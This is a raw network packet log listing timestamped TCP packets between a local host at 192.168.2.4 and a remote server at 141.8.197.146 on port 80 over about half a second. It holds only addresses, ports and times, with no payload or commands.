Nov 30, 2024 05:00:19.212193966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.212249994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.212294102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.213119984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.213188887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.214078903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.214092016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.214135885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.214154005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.214953899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.215048075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.215306997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.215919018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.215977907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.216027021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.216834068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.216963053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.217011929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.217789888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.217911005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.217950106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.218760014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.218867064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.218908072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.219680071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.219816923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.219871998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.220637083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.220696926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.221587896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.221641064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.221786022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.221822977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.222558022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.222753048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.222897053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.223500967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.223599911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.223645926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.224442959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.224559069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.224612951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.225366116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.225497961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.225539923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.226326942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.226469040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.226525068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.227287054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.227420092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.228249073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.228306055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.228343964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.228379965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.229171991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.229304075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.230176926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.230176926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.230299950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.230894089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.231076956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.231204987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.231250048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.232031107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.232181072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.232260942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.232986927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.233103991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.233144999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.233958006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.234081030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.234116077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.234858036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.234971046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.235013008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.235812902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.235944033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.235996962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.236762047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.236960888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.237725973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.237766027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.237843990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.237883091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.238703966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.238904953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.238957882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.239615917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.239659071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.239717007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.240592957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.240730047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.240771055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.241513968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.241600037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.241641998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.242460966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.242510080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.242589951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.243405104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.243509054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.244368076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.244419098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.244513035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.244551897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.245335102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.245392084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.246054888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.246233940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.246402979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.246480942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.247206926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.247323036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.247478008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.248245955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.248373032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.248415947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.249073029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.289839983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.296953917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.297086954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.297192097 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.297385931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.297502041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.298347950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.298408031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.298434019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.298474073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.299294949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.299390078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.299444914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.300268888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.300340891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.301213026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.301265001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.301301956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.301342964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.302143097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.302207947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.302273035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.407098055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.407201052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.407402039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.407668114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.407763958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.408595085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.408673048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.408699036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.408747911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.409524918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.409637928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.409928083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.410461903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.410541058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.411436081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.411448002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.411503077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.412369967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.412400961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.412456989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.413327932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.413343906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.413399935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.414269924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.414352894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.414412022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.415206909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.415218115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.415309906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.416129112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.416140079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.416186094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.417020082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.417109966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.417172909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.417978048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.417989969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.418045998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.418967962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.418982983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.419034958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.419851065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.419959068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.420802116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.420850992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.420933962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.420975924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.421770096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.421890020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.422646999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.422723055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.422847033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.423697948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.423758030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.423794985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.423845053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.424650908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.424774885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.425607920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.425667048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.425717115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.425761938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.426537037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.426609993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.426656008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.427490950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.427617073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.428442955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.428483963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.428550959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.428594112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.429369926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.429486990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.429929972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.430295944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.430463076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.431277037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.431332111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.431371927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.431415081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.432234049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.432317972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.433177948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.433239937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.433269978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.433307886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.434091091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.434201002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.435055017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.435125113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.435244083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.435305119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.436026096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.436131954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.436950922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.437000990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.437063932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.437104940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.437906027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.438021898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.438458920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.438879967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.438977003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.439819098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.439876080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.439941883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.439985037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.440757036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.440918922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.441716909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.441807032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.441838026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.441890955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.442691088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.442874908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.442928076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.443622112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.443749905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.444550991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.444602966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.444617033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.444664955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.445497990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.445601940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.445919037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.446419954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.446543932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.447371006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.447424889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.447469950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.447520018 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.448369026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.448471069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.449285030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.449357986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.449382067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.449421883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.450218916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.498264074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.498467922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.498531103 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.498706102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.498754978 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.498826027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.499669075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.499690056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.499738932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.500612974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.500662088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.500706911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.501542091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.501590014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.501631975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.502502918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.502703905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.502749920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.503460884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.503674984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.503716946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.608340025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.608468056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.608567953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.608891010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.609021902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.609831095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.609895945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.609918118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.610773087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.610836029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.610855103 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.610882044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.611687899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.611804008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.612658024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.612711906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.612720013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.612757921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.613589048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.613656044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.613912106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.614542961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.614617109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.615499973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.615510941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.615552902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.616422892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.616488934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.617296934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.617306948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.617347002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.618232965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.618323088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.618366003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.619226933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.619237900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.619277000 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.620174885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.620184898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.620232105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.621093035 CET	80	49732	141.8.197.146	192.168.2.4
